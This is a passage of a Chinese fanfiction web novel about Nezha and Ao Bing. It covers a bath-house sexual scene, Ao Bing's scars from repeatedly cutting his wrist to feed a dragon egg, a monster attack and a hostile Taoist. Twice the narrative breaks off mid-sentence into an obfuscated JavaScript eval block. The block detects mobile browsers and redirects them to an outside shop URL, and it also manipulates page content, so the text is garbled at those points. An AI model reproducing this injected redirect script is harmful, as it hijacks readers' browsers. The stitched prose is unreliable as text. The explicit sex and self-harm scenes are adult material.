敖丙环顾四周,看见了那盒香膏。他未至情期,分泌不出足够的水泽,少不得要借外物。犹豫片刻,他牵起哪吒的手,引着对方蘸了些膏脂。 “这里。”敖丙小声说。 少年屏息观察着敖丙神色,见怀中龙哼了一声,腰肢塌下,几乎要坠入水中。 “你这样……”哪吒失笑,“我可如何是好?” “不许说了!”敖丙又去捂他嘴,却因浑身酥软使不上力,“可以了。” 哪吒抽回手,指尖沾着点清亮,不知是池水还是别的什么。敖丙瞥见,拽过哪吒的手就往池中按,溅起好大一片水花。 “这般紧张作甚?” “我没有!” “好,你说没有便没有。”哪吒从善如流,“可要……移去屋里?” 敖丙心想:他那间厢房和哪吒卧榻只一墙之隔,若去那边,龙蛋免不了要听见动静。孩子既已生灵性,还是莫要污了他耳目的好。 敖丙拒绝道:“就在此处罢。” 哪吒挑眉,似有些意外:“好。” 很快,敖丙就后悔了。 浴池毕竟不是床榻,池壁坚硬冰冷,无处借力。 哪吒将他托抱起来,敖丙失了着力点,只得双臂环住他脖颈。十指陷入少年的肩背,留了几道痕印。温热池水汩汩,饱胀感让敖丙不安地挣了挣。 “要停么?”哪吒顿住,眼却不错珠地瞧着龙族。 敖丙摇头,他太清楚水下的状况,断无退回之理。 尚未尽,哪吒也不强求,只觉满心欢喜。这般生涩,想来敖丙已许久未经情事。 哪吒欲解敖丙湿透的里衣,又被按住了手。他望去,见龙君颊染胭脂、眸含春水,羞赧中带着执拗,于是不再坚持,转而取过池边纱囊,将各色干花瓣倾入水中。 七彩漂曳,沾在两人发间、肩上。粉的杏、白的梨、淡紫的辛夷……两人交颈叠股,恰成了一枝并蒂莲花。真真是: 水雾氤氲藏春色,花瓣浮沉掩风流。 一个是龙宫冰雪质,一个是莲台火玉躯。 并蒂未许人间见,偏在瑶池暗结俦。 15. 红莲 哪吒率先醒来。 昨夜两人头一回肌肤相亲,他担心伤着对方,始终克制着力道。 云收雨散后,怀中龙昏沉睡去。 哪吒却难以入眠,血脉里依然奔涌着,烧得他浑身发烫。他想诵清心咒,搜肠刮肚只记得开头两句。 他尝试凭本能忆起全篇,却怎么也接不上后文,不禁暗忖过去的自己—— 怕是嫌经文枯燥,压根没正经背过这劳什子。 哪吒忍得额角渗汗,悄悄动了动,想抽身去外间自行解决。可敖丙蜷在他怀中,龙尾不知何时绕上了他脚踝,那么紧紧勾着,似是怕他离开。 哪吒无法,最后就着相拥的姿势,自行纾解了一回。事毕方觉不妙,浊液悉数洒在敖丙腿间,浸湿了薄衾。 明日这龙醒来若看见痕迹,怕是要着恼。 - 天光大亮。 哪吒支着脑袋,看怀中龙的侧脸。昨夜敖丙执拗地不肯褪去里衣,直到被他哄着抱回主屋床榻,才勉强同意换下湿衣,却仍不许点灯。 如今一切无所遁形。 敖丙胸前有两团雪色鼓起,顶上如早春樱苞。瑶池偏殿那日,他醉中尝过的甜香想必是从这里来。 原来如此,敖丙才羞于袒露。 …… 敖丙睁开眼,先是对上哪吒的脸。那张脸生得实在太好,眉目如画,黑眸狭长,一眨不眨地望着自己。 “早。”敖丙怔了片刻,才道。 敖丙挪了挪身子,立时察觉干涸的黏腻,动作不由得一滞。 哪吒紧张地观察他神色:“你生气了么?” “不曾,”敖丙摇摇头,“里头也是有的,这些算不得什么。” 他话说得坦然,哪吒耳根有些发烫:“对不住……” “有什么可道歉的。”敖丙失笑,想去抚他脸颊,动作却停下了—— 哪吒心口处,赫然印着一朵红色莲花。 朱砂色纹路盘踞,裹挟着诡谲的咒印。正中一点蕊心欲滴,似从肌骨里生出的胎记。 敖丙僵住了。 其实他早有猜测,重逢以来,哪吒待他的亲昵早已逾越常理。监察官和被监察者本该止于公务,可这人会自然而然地牵他的手,无意识地把玩他指尖,因他一句话连夜置办院落…… 以哪吒素日心性,断不会对萍水相逢者这般僭越。 现在少年注视着他,面庞上带着餍足后的慵懒,颊边梨涡若隐若现,全然不设防的模样。 或许,哪吒自己都未意识到这份不对劲。 从头至尾面对龙族的种种异常,哪吒始终未起疑,反倒一门心思筹划着提亲、下聘、许未来。 像被无形的线牵引着,走向某个既定的结果。 报应。 真是报应。 千年前他怀着算计接近哪吒,骗得少年真心,最终害人害己。 兜兜转转,又要重演一次。 敖丙看着那朵红莲印记,浑身如浸冰水,寒噤噤打了个颤,“你看不见么…这里……” 哪吒闻言低头,看向自己的胸膛。薄薄肌肉覆着匀称骨骼,线条流畅,人鱼线隐入腰胯,分明是副极漂亮的少年身躯。因着莲花仙体之故,纵沉睡百年亦不损矫健。 他疑惑抬眸:“看见什么?我身上有何不妥?” 敖丙似被什么扼住喉咙,声音涩涩地转了话头:“一夜未归,该去瞧瞧龙蛋了。” 哪吒挑眉:“你这般模样去见他?” 敖丙这才惊觉自己不着寸缕,满身皆是昨夜的荒唐痕迹,讷讷道:“那……先洗漱罢。” 他说着,却主动贴近哪吒怀里,将脸埋在那片温热胸膛上。 红莲印贴着龙君的唇。 似吻,似祭。 “哪吒。” “嗯?” “若有一日你发现我骗了你,伤了你,甚至害过你性命。你会如何?” 哪吒心想怎么问了和师父相似的问题,他思索了下,“那我就把你抓回来,关在云楼宫里,日日夜夜守着,教你再也骗不了人。” …… 二人相携入浴池。 敖丙背身坐在池沿,低头清理。可昨夜那人进得深,又留下许多,他手指够了几回,总触不到位置。 水波漾开,映出他蹙眉咬唇的窘态。 哪吒早已洗净,取了巾子在旁擦拭湿发。他见敖丙这般,不禁笑道:“可要我帮忙?” “不必!”敖丙惊得转身推对方,腕子却被一把握住。 哪吒笑吟吟凑近,正要逗他两句,余光忽地瞥见了那截肌肤。 层叠的伤疤触目惊心。 有新愈的淡红细痕,有陈年的浅白旧迹,它们纵横交错着,最深的一道几乎见骨。边缘参差,像是有人曾一次又一次,在同样的地方用利刃反复割开皮肉。 哪吒的笑霎时冻结了。 敖丙许久未见他这般神色,眉宇间戾气隐现,似换了个人。他还当有不速之客闯入,仓惶回头,身后却空空荡荡。 他茫然转回视线,对上哪吒压抑着怒火的眼。 “这伤,”少年声音沉得骇人,“是怎么回事?” 敖丙总算反应过来。 这些年割腕喂蛋已成习惯,旧伤叠新伤,他早麻木了。昨夜还惦记着遮掩,方才因红莲印记扰乱心神,于是忘了这茬。 既被对方窥破,敖丙知道再瞒也无益:“龙蛋先天不足,无法自行孵化。若不以我的精血日日喂养……这孩子,活不到破壳那日。” 哪吒脑中轰地一声。 他看着那些层层叠叠的疤,仿佛能看见这龙是如何一次次划开腕脉,将血喂给那颗永远孵不化的蛋。旧伤未愈,新伤又添,皮肉反复撕裂该有多疼? 从未有过的恶念自哪吒心底窜起:这般如寄生藤蔓吸食父体生命的东西,凭什么得敖丙如此珍视? 就因是那死人的骨血,连留下的累赘也成了宝贝? 他强压下满心戾气,“我知晓了。” …… 两人沉默着洗漱完毕,换了干净衣衫,一同往东厢房去。 粉蛋在榻上滚了一夜,兀自百无聊赖。这会儿他嗅到爹爹气息,欢快蹦跳起来,咕噜噜滚至敖丙脚边,亲昵地蹭他鞋面。 哪吒冷眼瞧着丑东西不值钱的模样,从鼻子里哼出一声轻笑。 粉蛋闻声,这才注意到还有个碍眼的红衣人。他蛋身挺了挺,大有再撞一次的架势。 昨日梁上之仇,他可记得清清楚楚! “不可!”敖丙慌忙将蛋抱起,柔声哄劝,“对旁人需有礼数,莫要这般莽撞。” 哪吒在旁幽幽插话:“昨夜你我既已私定终身,我便是你夫君,何来‘旁人’之说?” “……”敖丙一时语塞。 他原以为龙蛋是因血脉相连而亲近哪吒,还忧心身份会泄露。万万没想到一莲一蛋势同水火,见面就要斗个你死我活。 “既然此蛋需精血喂养,而你身子又弱。”哪吒走近,墨瞳里定定望着他,“往后喂养他的事,便交给我罢。” 敖丙疑心自己听错了:“你说什么?” “我说,”哪吒走近两步,阴影笼罩下来,“从今往后,龙蛋的精血由我来供。” “不可!”敖丙起身,将龙蛋护在身后,“你乃莲花化身,精血何其珍贵?且你如今禁仙咒在身,凡胎肉.体,怎受得住日日取血?” “正因为我是莲花化身,”哪吒执起他手,指腹抚过那些狰狞的伤疤,“血液中蕴有先天灵气,或许比你的龙血更有裨益。” 这话半真半假。 莲血确有灵效,可他真正想的是斩断这丑东西对敖丙的寄生。若以自己的血喂养,既能保蛋不死,又能让敖丙免于损耗…… 至于那个人的血脉? 哪吒眸色暗了暗。 敖丙既入了他的门,便是他的妻。这蛋,往后也只能认他做父。 “哪吒——” “那早亡之人既弃你们而去,便不配为父。”哪吒忽然打断对方,神色冷硬起来,“如今你既应了我,这孩子也是我的责任。我养他,天经地义。” …… 哪吒举起匕首,划破了腕间。 金红色的血液涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117039|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,不及滴落凝成了莲瓣,异香充盈满室。他执起一片,递至龙蛋前。 “吃。” 粉蛋原本蹦跳着以示抗议,却察觉到血气中蕴着磅礴生机,终究抵不住诱惑,不情不愿将花瓣一点点吸纳进去。 哪吒在旁瞧着,嗤笑道:“还以为你多有骨气,原来这点甜头便缴械了。” 龙蛋闻言大怒,将吸入的花瓣呸呸吐出,滚了一地金红。蛋壳光华乱闪,瞧着气极了。 哪吒眼神倏然沉下:“小崽子,你爹将你养得这般圆润,可知他自己已瘦成什么模样?如今有我为你爹分担些,你倒不领情了?” 敖丙见哪吒腕间伤口犹在渗血,慌忙上前止住这对剑拔弩张的父子。他取了金疮药涂抹,又以白纱缠裹,“好了哪吒,他知你心意,不过一时转不过弯来。你这般有担当,何苦同稚子计较?” 那龙蛋见爹爹只顾着那红衣坏蛋,冷落了自己,委屈得直往敖丙臂弯里蹭,蛋身一闪一闪。 敖丙俯身拾起地上莲瓣:“乖,快些用了,莫教我们担忧。” “我们”二字入耳,哪吒心头一荡,那点不快霎时散了。他静静地站在旁边,看着敖丙哄那蛋将剩余花瓣吸收干净。 昨日种种试探,哪吒知道敖丙对他那些兵权、财帛、法宝俱无兴趣。这人待他的态度总在亲近和疏离间摇摆,如今总算有一桩事能教敖丙需要他、倚仗他。 哪怕是养情敌之子。 喂罢血,他们将龙蛋安置于蕴灵贝中。 小院本有灶间,但两位三太子十指不沾阳春水,灶台冷清,米缸空空,只得出门觅食。 雪霁天青,将长街洗得一派澄净。 二人本想寻个馆子,行至街角,敖丙却顿住了脚步。 道旁有个支着布篷的小摊,粗木桌凳,炉上铁锅白汽袅袅,一位老妪守着灶台。 “怎么?”哪吒顺他目光望去,心下明了,“想吃那个?” “嗯,就这儿罢。”敖丙附和道。 二人至摊前坐下,要了两碗素面、四个馒头并一碟咸菜。 老妪见来了两位这般标致的小郎君,欢喜得眼尾堆起褶子:“这几日大雪,老身许久没开张了。两位小哥尝尝,汤头是昨夜熬的菌子汤,鲜着呢。” 哪吒嘴甜,哄得老妪眉开眼笑。趁煮面功夫,他凑到敖丙耳畔说:“这般清汤寡水,如何养身子?我去隔壁摊子买些肉食来,你且等着。” 不待龙君推拒,红衣一旋就没了踪影。 敖丙只得独坐摊前,先付了面钱,然后陪老妪闲话家常。 老妪手脚利落,揉面抻条,沸水里一滚就捞起,盛进粗瓷大碗。 敖丙正瞧着,听见老妪哎哟了声:“腌萝卜忘带了!小公子帮老身看会儿摊子可好?” 见敖丙颔首,她颤巍巍往后巷去。 棚内只剩下敖丙。 他拢了拢狐裘,思绪飘远。昨夜情事他其实是半装睡的,他开始就没有云雨的想法,只是想试试欢好后红莲印记是否会显现。二来哪吒最重礼数,既有了肌肤之亲,定会负责。 敖丙不需这份责任,可龙蛋需要哪吒的血。 思来想去,只得行此下策。 然而身子浅窄又久未经事,他只好装睡。到了后半夜,敖丙察觉到哪吒在旁辗转反侧,念那残缺的清心咒,心里更是愧疚。 早知如此,昨夜就应该让他尽兴…… “咻——” 一道赤影携风掠过,狠厉钉入摊旁的老槐树干。 是火尖枪。 枪尖作莲苞状,焰纹缠绕,缨穗飞扬,正正刺穿一物。 那物色若人肤,中央裂开张怪嘴,密布尖齿,开合间嗬嗬有声。它扭动不休,忽地喷出一口碧绿浆液,遇空气滋滋作响,将地上的积雪蚀出个窟窿。 敖丙胃里翻搅起来。 他面色发白,视线无处安放,寒气自脚底直窜头顶。 一只温暖的手捂住了他的眼睛。 掌心缠着纱布,缭绕淡淡的草药味、莲香和蓬勃的火灵气息。 是哪吒。 “莫看。”少年轻声道。 16. 金叶 哪吒的手覆在敖丙眼前,将他往身后带了带,是个全然保护的姿态。 “闭眼。”少年低声说,“数到十。” “一、二、三……”敖丙依言阖目。 他感到身旁的热源离去,是哪吒松手去取火尖枪。紧接着热浪翻涌,利物撕裂声响起,夹杂某种非人的尖啸。 “八、九……” 那只手再次落在肩头,将他揽入一个充斥莲香的怀抱。 “十。” 敖丙睁眼。 少年已将长枪收回,枪尖锃亮,不沾半分污秽。 树干上唯余一个深深孔洞,边缘焦黑,像被烈焰灼过。雪地里落了几片灰烬,风过后打着旋儿消散。 哪吒将几个油纸包塞进敖丙怀里:烧鸡还烫着,肉包子白白胖胖,还有个粗陶罐子,里头盛满梨水。 “吃罢。”少年语气轻松得像什么都没发生,“趁热。” 敖丙抱着油纸包,怔然望向他。 灿灿的日光破云洒落,红衣少年立在雪地里,墨发染金,眸光璨璨,整个人像从光里走出来的,耀眼得不真实。 “傻站着作甚?”哪吒拉他在条凳上坐下,掰开一个馒头,夹上几筷子咸菜塞给对方,“快吃,面要坨了。” 敖丙咬了一口馒头,他慢慢咀嚼,忽唤道: “哪吒。” “嗯?”少年撕着烧鸡腿,头也不抬,“我知道我方才英武非凡,你且先吃饭,崇拜的话晚些再说。” 敖丙被噎了一下:“不是这个。咱们来这镇子,还是头回遇着线索。方才那怪物……你直接杀了,岂不是断了追查的线?” 哪吒手上动作停了。 他买完吃食欢欢喜喜回来,远远就瞧见个丑东西欲伤自家小龙,小龙吓得脸色煞白。这般情景莫说留活口,没将那物挫骨扬灰已是仁慈。 但这话他不会说。 哪吒“哦”了一声,没什么诚意地解释:“无妨。那东西既敢来招惹,显见咱们已入了局。此番不成,迟早还会再遇。” 敖丙思忖片刻,点头:“也是。” 两人说着,老妪抱着个陶坛回来了。 她将腌萝卜铺在两人碗中,歉然道:“对不住啊。老身年纪大了,腿脚慢,没耽误你们罢?” “没有的。”敖丙温声道,“您回来得正好。” 哪吒从怀中掏出两片金叶子,黄澄澄的晃眼。他随手放在摊板上:“餐费。” 敖丙有些讶异。 他方才已在条凳下悄悄多压了些碎银,没想到哪吒和他想到了一处。 不过,金叶子未免太过贵重,老妪定不肯接。 果然,老妪一见便连连推拒:“使不得使不得!两碗素面几个馒头,哪值这个?小哥快收回去!” “您不必客气。”哪吒语气坚持,“举手之劳罢了。” “老身真没做什么呀,”老妪惶惶道,“这钱拿着心不安。” 哪吒见她执意不收,换了说法:“那就当是定金。往后我们常来,您留着慢慢抵账便是。” 老妪犹豫了。 她摩挲着粗布围裙,眼眶渐渐泛红。若不是家中实在艰难,何至于这把年纪还顶风冒雪出摊? 两片金叶子,够她与孙儿吃用好些年了。 想着孙儿苍白的小脸,老妪眼眶一红,颤巍巍要往下跪:“小哥大恩……” “使不得!”哪吒惊得几乎跳起来,慌忙扶住她,“您这是折煞我了!” 老妪被他扶住,泪珠子滚下来:“小哥心善。老身、老身替小孙儿谢过。” 敖丙在旁默默看着。 先前李仲说,张员外带领乡民发家致富,家家户户日子红火。可眼前的老妪衣衫褴褛,十指生满冻疮,摊子也简陋得可怜。 张员外所谓的“带领致富”,究竟惠及了哪些人? 雪又飘起来。 哪吒扶着老妪坐下,又将金叶子塞进她手里:“您收着。若觉过意不去,往后我二人来吃面,您多给加勺辣子便是。” 老妪握紧金叶子,她抹着泪,絮絮说起家中的境况:儿子前年摔断了腿,媳妇跟人跑了,留下个孙儿才六岁…… 敖丙听着,热汤雾气氤氲了眉眼。 他望向长街尽头,红绸飘飘,鼓乐声热烈,在为张员外家嫁女暖场。 同一场雪。 有人锦衣玉食,有人破袄漏风,为两片金叶子下跪道谢。 他想到东海那些凋敝的村落,龙族失势后,沿海百姓再无风调雨顺的庇护。神祇纷争,王朝更迭,到头来苦的总是这些蝼蚁般的存在。 …… 敖丙受了惊吓,每样略尝几口就搁下筷子。 哪吒在旁瞧着,心道小龙这般清减又不好生用饭,也不知怎么熬过来的。 敖丙察觉到他的视线,以为哪吒嫌自己糟践粮食:“……我实在饱了,再多用些,胃是要疼的。” 还知道量力而为,倒不算太傻。 哪吒心下稍宽,见那碗里还剩大半,索性端过来,就着敖丙用过的筷子,风卷残云般吃了个干净。 “哎——”敖丙想拦,“莫要撑着了。” “我向来食量大,你且宽心。”哪吒浑不在意。 莲藕化身虽不似凡人需五谷维系,口腹之欲却从未减过。不多时他就碗底朝天,连汤都喝尽了。 不仅敖丙暗惊,连老妪也看呆了,说了些“少年人好胃口”的话。 离了面摊,敖丙提议往张员外府上探探。 哪吒却摇头:“先去用药。你病根未除又受惊吓,需得好生调养。” 敖丙乖顺应道:“好。” - 药王堂内。 李仲守着个红泥小炉,炉上陶罐咕嘟,里头炖了只肥鸡以及党参、黄芪、枸杞等物,汤汁鲜亮,勾得人腹中馋虫蠢动。 敖丙闻着,不觉咽了咽口水。 哪吒二话不说又摸出两片金叶子,啪地按在案上:“这罐汤,我买了。” “混小子!”李仲勃然大怒,“你当老朽是那等见钱眼开之徒?昨日药材钱我可分文未多收!” 哪吒硬来不成,只得放软语气,指了指敖丙道:“他高热才退,方才在外头受了惊吓,吃不下东西。晚辈实是忧心,才想讨您这罐汤……您老莫怪。” 李仲看向敖丙,龙君裹在狐裘里,一张脸瘦得下巴尖尖,唇色淡白,眸中隐有水汽,确有几分病弱之态。 老郎中长叹一声,侧身让道:“进来罢。这顿当老朽请你们了。” 哪吒闻言眉开眼笑,拉着敖丙入内。 李仲却不让他闲着,指使他劈柴、添火、洗药杵,呼来喝去,俨然将三坛海会大神当成了自家学徒。 哪吒被支使得团团转,耐性渐消:“偌大个药堂,怎不雇几个帮手?” “没钱。”李仲头也不抬。 “我给你。”哪吒说得干脆,“往后每日炖一罐药膳便成。” “不义之财不收。” “……”哪吒气结,这老头真是倔得像块石头。 他没来得及发作,转头瞧见敖丙坐在小凳上,手托腮望着他们。眼皮那枚红痣在满室灰扑扑的药柜、陶罐、竹匾间,艳得摄人心魄。 哪吒那点烦躁散去了,他安安分分的,将手中活计做完。 准备妥当后,李仲让他摆四副碗筷。哪吒差异:“还有客?” “晦气!真真气煞贫道!” 一名黑袍道士入了药堂,面皮白净,头梳紧实丸子髻,瞧着仙风道骨。 李仲迎上前:“发生了什么事?” “方才撞见个短命鬼!”道士唾沫星子乱溅,骂骂咧咧,“印堂发黑,分明是教妖物缠上了。贫道好心点化他,那人偏偏不识好歹,说贫道妖言惑众——真真是死到临头犹不自知!” 道士言罢,总算瞧见堂内有人。他的眼神落在敖丙身上,眉头越皱越紧,下一秒抖了抖袖袍。 “咻!咻!” 两枚铜钱朝敖丙袭来。 少年闪身挡在前头,右手一抄,将铜钱牢牢攥入掌心。 钱币老旧、生了锈,边缘却磨得锋利。若非他接下,怕是要将龙划出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117040|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血口。 哪吒冷着脸将铜钱掷回:“牛鼻子好没道理!居然平白拿暗器伤人?” “臭小子懂什么?你身旁这人定是邪物所化。贫道这是替天行道!” 敖丙心中一震。 小小翠屏乡先有李仲诊脉如神,后有此道士一眼识破他真身…… 当真是藏龙卧虎。 “他是人是妖,我比谁都清楚。”哪吒将敖丙护在身后,“不劳道长费心。” “冥顽不灵!”道士冷笑,又从袖中取出数枚铜钱,“今日贫道就——” “够了!” 李仲横身插进两人之间:“道明,此二人是老朽客人。哪怕真有什么,也轮不到你在我的地界动手!” “李仲!”被称“道明”的道士面色变幻,“你护得住一时,护不住一世。这妖物迟早要现原形!” 他取出面古镜,口中念念有词,往敖丙面上照去。 镜中映出个清瘦青年,黑发如墨,眸似点漆,裹着一袭黑灰大氅—— 敖丙受禁仙咒所化的凡相。 “怎么可能?”道明瞪大眼睛,几乎将脸贴到镜面上,“此镜乃师门所传,专照妖邪,怎会毫无反应?!” 敖丙垂眸不语。 他乃东海龙族、上古神裔,纵是失了施雨正神之位,本质仍是受天道认可的神兽。这面残破法器,如何照得出他真身? 而且他披风乃二哥敖乙所赠,浸染深海灵息,寻常妖邪之气早被涤净了。 那厢李仲盛好鸡汤,夹了只鸡腿放入敖丙碗中:“小友多用些,好好将养。” 末了,他朝道士扬声道:“道明,莫再折腾了,快来用膳。” 道明不甘心,抱着镜子翻来覆去地瞧:“李仲!你怎与街上那愚夫一般,非要护着妖物?” “你不是照过了?”李仲慢悠悠地舀了勺汤,“既非妖邪,何苦纠缠?整日一惊一乍也不嫌累得慌。” 道明还要再辩,腹中却传来几声响。他老脸一红,只得悻悻收了镜子,挪到桌边坐下。 四人围坐用膳。 席间李仲和道明闲话起来,所言无非乡里琐事、药材收成,再不提妖鬼之言。 哪吒早间吃得饱足,这会儿松懈下来,手臂似有若无地环在龙君椅后。他瞧着敖丙执箸轻抿,比画儿还耐看。 敖丙被他看得浑身不自在,借搁下碗的功夫说:“莫要这般盯着……” “为何看不得?”哪吒理直气壮。 李仲笑了声接话:“红衣小子,你那双眼睛都快黏在人家身上了,怎的半点不知避讳?” “这如何算得避讳?我二人说话,自然要看着对方。” “说话需得眼对眼、脸贴脸?”李仲摇头,“好歹留些分寸。” 眼见两人又要斗起嘴来,敖丙忙在桌下扯了扯哪吒衣袖。这一扯,哪吒还真住了口,闷头去夹菜。 道明瞧着三人你来我往,感慨道:“李兄,贫道许久未见你这般开怀了。” 李仲听到此言直接板起脸,他兀自埋头苦吃,任哪吒再怎么挑拨也不搭腔。 待李仲撂下碗,哪吒起身,拽着对方的胳膊就往里间拖。 “作甚、作甚?买药在外间说便是,拉拉扯扯成何体统?” 哪吒眼神飘忽,声音低了下去:“我想……买些书。” 李仲想着哪吒要买医书研习,好生照料那位体弱的小友,心里颇为欣慰。 这小子看着毛躁,竟然是个知疼知热的。 “要哪类医典?老朽这儿虽然不全,却也有些珍本。” “我想买.春宫图。” “……你这小混账!”李仲胡子气得翘了起来,他瞪大眼睛,“年纪轻轻不学好,要这等腌臜物事!” 哪吒忙竖起食指抵唇:“嘘,小声些!莫教外头听见了!” 李仲抚着胸口顺气,半晌才缓过来:“年轻人气血方盛,老朽也非不通情理之人。说罢,要何种样式?” 哪吒耳尖染了淡淡的红,他沉吟良久,才道: “要……两个男子之间的。” 17. 朱砂 “你、你要那断袖的……” “正是。您可有?” “胡闹!老朽行医济世数十载,堂内皆是救人典籍,岂会收存这等污秽之物!” “那您给指条明路。”哪吒不退反进,“镇子上何处能寻得?” 李仲见他一副不达目的不罢休的架势,又是气恼又是无奈:“罢罢罢!” 他窸窸窣窣翻找起来,捧出个牛皮封装的簿子,外皮正经,里头却是另一番天地:交缠叠股的白花花,笔墨浓艳,姿态狎昵。 “拿去!”李仲扔进哪吒怀里,“莫说是从老朽这儿得的!” “多谢。”哪吒眉眼舒展,将簿子收进袖中,转身就走。 “等等!”李仲叫住他。 老头子活了大半辈子,再古板也明白了哪吒所求为何,“那孩子……可知你存着这般心思?” “他应了我。”少年嘴角扬起,“只是我总怕唐突了他。” 李仲闻言板起脸,斥道:“胡说!那小友清清白白的,断不会与你厮混一处。定是你这混小子强迫人家!” 哪吒心想:分明是敖丙先勾的我。 可看着李仲仿佛自家白菜被猪拱了的模样,终究没辩驳。 李仲见状更气,吹胡子瞪眼数落他:“你呀你!这般嚯嚯人家好孩子,当心天打雷劈……” - 外间又是另一番光景。 哪吒和李仲进入内室后,道明作起妖来。 他先取出个罗盘在敖丙身旁转悠,指针纹丝不动。又摸出串桃木珠子悬在敖丙眼前,串珠静悄悄。 敖丙权当没看见,慢条斯理地喝着鸡汤。 不一会儿,道明从背篓中端出碗黑狗血,劈头盖脸便要泼来。 敖丙手腕轻转,竹筷铛地点中碗沿。陶碗滴溜溜转了个圈,血水反溅出去,泼了道明满头满身。 “你、你果然是妖!”道明顶着一头腥血,气得浑身发抖,“寻常人哪有这般身手?!” 敖丙搁下筷子,取帕拭了拭指尖:“道长,饭可以乱吃,话不可乱说。” 两人僵持着,一旁的内室帘子动了—— 是哪吒出来了。 敖丙三两步躲到少年身后,声音轻轻软软的:“哪吒,他拿黑狗血泼我。” 说着,他拽了拽哪吒衣袖。 道明见此,更是怒不可遏:“好个妖物!不但会武,还会蛊惑人心!” 哪吒冷眼看向道明:“道长若再纠缠,休怪我不客气。” 李仲难得和哪吒共处一个战线,也喝道:“行了道明。整日妖来妖去,你倒是捉一个与我瞧瞧?” 敖丙躲在两人身后探出半张脸,朝道明弯眸笑起来。笑里带着三分无辜、七分得意,气得道明几欲吐血。 李仲胡子翘得老高,狠狠瞪了哪吒与道明一眼,转向敖丙的时候换上了慈和神色:“小友可要用些山楂丸消食?老朽刚制的,最是健脾开胃。” 敖丙道了谢,接过。 李仲趁着递药,极低极快地说了句:“夜里……关好门窗。” 说罢,他去收拾道明折腾出的烂摊子,仿佛方才那句不过是随口一提的嘱咐。 - 道明黑着脸,狠狠擦拭脸上的血。 敖丙趁道士搓洗的当口,龙龙祟祟挨近了些:“道长方才提及遇见个印堂发黑之人。不知那人何等模样?在何处撞见?” 道明不防他此问:“就在青帝庙前,是个穿褐色短打的汉子,约莫二十出头,左颊有颗黄豆大的黑痣……” 话音戛然而止。 道明回神:“你这妖物打听这些作甚?莫非要和同类互通声气?” 哪吒在门边听得真切,唤道:“敖丙,走了。” 敖丙见道明缩回内室,知再问不出什么,只得作罢。 二人与李仲辞别,老郎中端详着敖丙面容,叹道:“小友这左眼皮上的小红痣,生得真是妙极。相书有云:‘眼尾缀朱砂,心窍通七情。’这般相貌之人,最是感性多情,甘为所爱倾尽所有。” 说着说着,他斜睨哪吒一眼:“不过小友,重情是好事,却也要擦亮眼睛识人,莫教一片真心错付了。” “告辞!”哪吒听出弦外之音,拽着敖丙就跑了。 - 长街积雪成冰。 敖丙小心翼翼地迈步,仍是一步三滑。哪吒停下来等他,面上写满了不悦。 “跑什么?”敖丙扶着他手臂站稳,有些好笑,“李老先生不过随口一说。” “那老头子满肚子坏水,还对你评头论足起来?”哪吒没好气,“什么多情、甘为所爱……分明是拐弯抹角说我配不上你。” 敖丙瞧着他气鼓鼓的模样,不觉莞尔:“好歹是供奉你金身的信徒,三坛海会大神怎么连这点容人之量都没有?” 哪吒被他一笑,满腹闷气消了大半,只牵着他往前走。 行至街口,忽见前方乌泱泱围了一大群人,吵嚷声沸反盈天,似出了什么乱子。 人群中央跪了个穿着极单薄的女子,只披了一件桃红纱衣。她生得柳眉杏眼,掩面嘤嘤哭泣,在寒风里发着抖。 敖丙瞥了哪吒一眼。 按这人的性子怕是见不得弱女子受欺,该出手相助了。 哪知哪吒拉着他就绕道:“在外头吹了半晌风,药既已买妥,快些回去罢。” 敖丙凑近他耳畔:“不帮帮她么?” 哪吒蹙眉盯着那女子,面色沉凝:“我觉着……不太对劲。” 他绞尽脑汁,也想不出究竟何处不妥。 敖丙心下了然。 哪吒定是觉察异样,奈何几句翻来覆去的清心咒都记不全,更不必说想起什么术法门道。 那厢,女子一声娇呼,身子软软朝两人倒来。 敖丙下意识想扶,哪吒却比他更快,揽着他的腰疾退两步。 那女子噗通摔在雪地里,浑身沾了白絮。 敖丙有些过意不去,小声嘀咕:“你怎半点不知怜香惜玉?” “她好端端站着,无缘无故往人身上倒,是她自己站不稳。”哪吒理直气壮,“怎还怪起我来了?” 敖丙默然。 他想起瑶池偏殿那次,自己险些摔倒,哪吒可是稳稳接住了的。敖丙生了些好奇:从前在周营,哪吒除却和他相处,就是练兵征战,他从未见过这人如何对待其他女子。 如今观之,对方虽然口口声声“看了身子要负责”,真遇女子投怀却避如蛇蝎。 哪吒似是铁了心不趟浑水,拽着敖丙又要走。 女子爬起身,泪眼婆娑地来扯哪吒裤脚:“二位公子气度不凡,求求你们,帮帮小女子罢!” 哪吒轻巧避开:“围观者众多,你为何偏缠上我们?” 女子噎了噎,随即哭得更凶:“公子这是何意?小女子走投无路,见二位面善才……” 围观人群七嘴八舌嚷开了。 “这小娘子原是大户人家的逃妾。” “被人拐卖到倚红楼了!” “可怜见的……” 更有人高声起哄:“这般姿色,爷出二十两银子赎了!” 哪吒听得心烦,对敖丙道:“有人愿赎她了,咱们走。” 敖丙觉得此事蹊跷,本想再探,却被哪吒不由分说地拽离了人群。 “雪要下大了。”少年握紧他的手,“无论是青帝庙还是这桩事,你都莫管了。身子最要紧,其余的来日方长。” 敖丙任他牵着,深一脚浅一脚往小院去。回头望去,那桃红身影已经被人潮吞没了。 …… 